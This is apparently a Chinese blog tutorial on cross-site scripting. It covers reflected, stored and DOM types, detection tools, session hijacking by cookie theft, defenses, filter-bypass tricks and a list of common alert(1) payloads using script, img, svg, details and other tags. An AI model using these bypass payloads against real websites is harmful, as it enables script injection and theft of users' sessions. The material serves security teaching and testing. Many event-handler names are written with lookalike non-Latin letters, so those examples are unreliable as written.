当前位置:网站首页>XSS漏洞
XSS漏洞
2022-06-29 19:47:00 【弥补之途】
原理
攻击者在网页中嵌入客户端脚本,通常是JavaScript编写的恶意代码,当用户使用浏览器浏览被嵌入恶意代码的网页时,恶意代码将会在用户的浏览器上执行,将用户的信息发送给攻击者。
分类
反射型
反射型XSS也被称为非持久性XSS,是现在最容易出现的一种 XSS 漏洞。当用户访问一个带有XSS代码的URL请求时,服务器端接收数据后处理,然后把带有XSS 代码的数据发送到浏览器,浏览器解析这段带有XSS 代码的数据后,最终造成XSS 漏洞。这个过程就像一次反射,故称为反射型XSS。
存储型
允许用户存储数据的 Web应用程序都可能会出现存储型XSS漏洞,当攻击者提交一段XSS代码后,被服务器端接收并存储,当用户访问该应用程序时,这段XSS代码被程序读出来响应给浏览器,造成XSS 跨站攻击,这就是存储型 XSS。
DOM型
DOM的全称为Document Object Model,即文档对象模型,DOM 通常用于代表在HTML、XHTML和XML中的对象。使用 DOM可以允许程序和脚本动态地访问和更新文档的内容、结
构和样式。通过JavaScript可以重构整个HTML页面,而要重构页面或者页面中的某个对象, JavaScript就需要知道HTML 文档中所有元素的“位置”。而 DOM 为文档提供了结构化表示,并定义了如何通过脚本来访问文档结构。根据DOM规定,HTML 文档中的每个成分都是一个节点。
危害
1.网站挂马
2.盗取用户Cookie
3.修改网页内容4.利用网站重定向
5.XSS蠕虫
检测XSS
手工检测
1、找到能够输入的所有地方。
2、在输入的地方输入特殊字符,确保能观察到其输出的地方。
3、根据输出的格式,分析服务器对数据的过滤处理方式,设计可能绕过的payload进行绕过测试。
4、当无法得知输出位置时,可使用 "/>XSS Test" 来测试。
自动检测
像之前使用过的APPSCAN、AWVS、Burp Suite等软件,都可以有效地检测XSS跨站漏洞,但这类大型漏扫工具除检测XSS外,还会检测 SQL注射、文件包含、应用程序错误等漏洞。虽然这类大型漏扫可以配置只检测XSS,但却不如专业的XSS检测工具效率高。
专业的XSS扫描工具有很多,像有名的XSSER、XSSF 都是不错的选择。也有安全爱好者制作了扫描XSS漏洞的Web服务,如: http://www.domxssscanner.com/,专门用来扫描DOM类型的XSS,在提交留言时可能需要短信验证、验证码填写等,工具是无法做到的。
利用方式
会话劫持
条件:服务器仅 使用Cookie作为用户身份验证信息。
原理:利用XSS攻击获取用户验证登录后的cookie信息,在cookie信息没有失效前,攻击者利用用户的cookie信息去登陆用户的账号,无需用户名和密码。
防御方法:添加HttpOnly(添加了HttpOnly的Cookie将不会被浏览器获取)。
XSS平台
XSSPlatform:是一款XSS漏洞利用代码组合成的框架,其中包括最基本的获取Cookie、获取HTML代码、键盘记录、基础认证钓鱼等功能。
防御
过滤:对于用户输入的数据进行严格的过滤。
转义:对敏感字符进行转义。
编码:对用户输入的数据进行实体编码。
添加HttpOnly字段
绕过
常见过滤绕过方法
空格过滤:当空格被过滤了时,我们可以用
/来代替空格:引号过滤:如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号。<img src=x οnerrοr=alert(`xss`);>
括号过滤:当括号被过滤的时候可以使用throw来绕过。throw 语句用于当错误发生时抛出一个错误。<img src=x οnerrοr="javascript:window.οnerrοr=alert;throw 1">
关键字过虑
双写:有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过。<scrscriptipt>alert(1);</scrscriptipt>
大小写:<sCRiPt>alert(1);</sCrIpT>
字符串拼接绕过:利用eval()函数,JavaScript的eval()函数也可以计算 JavaScript 字符串,并把它作为脚本代码来执行。<img src="x" οnerrοr="a='aler';b='t';c='(1)';eval(a+b+c)"> <img src="x" οnerrοr="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
编码绕过:Unicode编码绕过、url编码绕过、Ascii码绕过、hex绕过、base64绕过
过滤url地址:
使用url编码:<img src="x" οnerrοr=document.location=`http://%77%77%77%2e %62%61%69%64%75%2e%63%6f%6d/`>
使用IP:十进制IP、八进制IP、hex、html标签中用//可以代替http://、使用\\(在windows下\本身就有特殊用途,是一个path 的写法,所以\\在Windows下是file协议,在linux下才会是当前域的协议)、使用中文逗号代替英文逗号(如果你在你在域名中输入中文句号浏览器会自动转化成英文的逗号)
单引号闭合+htmlspecialchars函数绕过:'οnmοuseοver='alert(/xss/)
JavaScript伪协议:"><a href=javascript:alert(/xss/)> o_n和<scr_ipt>过滤
常见的payload
1.script标签
<script>alert(1);</script>
<script>alert("xss");</script>
2.img 标签
<img src=1 οnerrοr=alert(1);>
<img src=1 οnerrοr=alert("xss");>
3.input标签
<input οnfοcus=alert(1);> onfocus 事件在对象获得焦点时发生
<input οnblur=alert(1) autofocus><input autofocus> 竞争焦点,从而触发onblur事件:
input 标签的 autofocus 属性规定当页面加载时 元素应该自动获得焦点。可以通过autofocus属性自动执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发。
4.details 标签
<details οntοggle=alert(1);>
<details> 标签通过提供用户开启关闭的交互式控件,规定了用户可见的或者隐藏的需求的补充细节。ontoggle 事件规定了在用户打开或关闭 <details> 元素时触发。
<details open οntοggle=alert(1);>
使用details 标签的 open 属性触发ontoggle事件,无需用户去点击即可触发。
5.svg 标签
<svg οnlοad=alert(1);>
<svg> 标签用来在HTML页面中直接嵌入SVG 文件的代码。
6.select 标签
<select οnfοcus=alert(1)></select> <select> 标签用来创建下拉列表。
<select οnfοcus=alert(1) autofocus>
通过autofocus属性规定当页面加载时元素应该自动获得焦点,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发。
7.iframe 标签
<iframe οnlοad=alert(1);></iframe>
<iframe> 标签会创建包含另外一个文档的内联框架。
8.video 标签
<video><source οnerrοr=alert(1)>
<video> 标签定义视频,比如电影片段或其他视频流。
9.audio 标签
<audio src=x οnerrοr=alert(1);>
<audio> 标签定义声音,比如音乐或其他音频流。
10.body 标签
<body οnlοad=alert(1);> <body> 标签定义文档的主体。
<body
οnscrοll=alert(1);><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>onscroll 事件在元素滚动条在滚动时触发。我们可以利用换行符以及autofocus,当用户滑动滚动条的时候自动触发,无需用户去点击触发。
11.textarea 标签
<textarea οnfοcus=alert(1); autofocus>
<textarea> 标签定义一个多行的文本输入控件。
边栏推荐
- 洞见科技作为「唯一」隐私计算数商,「首批」入驻长三角数据要素流通服务平台
- Flutter 2.0 FocusScope. of(context). The requestfocus (focusnode()) does not take effect
- ArrayList&lt;Integer&gt;使用==比较值是否相等出现 -129!=-129的情况思考
- Zotero期刊自动匹配更新影响因子
- 3-2主机发现-三层发现
- Sophomore majoring in software engineering, the previous learning situation is not very good. How to plan the follow-up development route
- Understanding of software test logic coverage
- 【网络方向实训】-企业园区网络设计-【Had Done】
- Zotero journal automatic matching update influence factor
- WPS和Excele
猜你喜欢

童年经典蓝精灵之百变蓝爸爸数字藏品中奖名单公布

Sophomore majoring in software engineering, the previous learning situation is not very good. How to plan the follow-up development route

Tiger painter mengxiangshun's digital collection is on sale in limited quantities and comes with Maotai in the year of the tiger

One hour to build a sample scenario sound network to release lingfalcon Internet of things cloud platform
![[boutique] detailed explanation of Pinia](/img/94/d332e32dba54be3c2d3f6ff08a85fa.png)
[boutique] detailed explanation of Pinia

一个mysql里有3306端口下,一个mysql有20多个数据库,怎么一键备份20多个数据库,做系统备份,防止数据误删除?

创作者基金会 6 月份亮点

npm ERR! fatal: early EOF npm ERR! fatal: index-pack failed

4-2 port banner information acquisition

QC协议+华为FCP+三星AFC快充取电5V9V芯片FS2601应用
随机推荐
有了这4个安全测试工具,对软件安全测试say so easy!
苹果iPhone手机升级系统内存空间变小不够如何解决?
As the "only" privacy computing provider, insight technology is the "first" to settle in the Yangtze River Delta data element circulation service platform
软件测试逻辑覆盖相关理解
The concept and properties of mba-day26 number
Game maker Foundation presents: Valley of belonging
Creators foundation highlights in June
NLP - GIZA++ 实现词对齐
Snowflake ID, distributed unique ID
KDD 2022 | characterization alignment and uniformity are considered in collaborative filtering
Understanding of software test logic coverage
The list of winners in the classic Smurfs of childhood: bluedad's digital collection was announced
Canonical engineers are trying to solve the performance problem of Firefox snap
MBA-day19 如果p则q矛盾关系p 且非q
Zotero期刊自动匹配更新影响因子
2022年深圳市福田区支持招商引资若干政策
14,04 millions! Appel d'offres pour la mise à niveau de la base de données relationnelle et du système logiciel Middleware du Département des ressources humaines et sociales de la province du Sichuan!
docker compose 部署Flask项目并构建redis服务
mysql远程连接
Lock4j -- distributed lock Middleware -- customize the logic of lock acquisition failure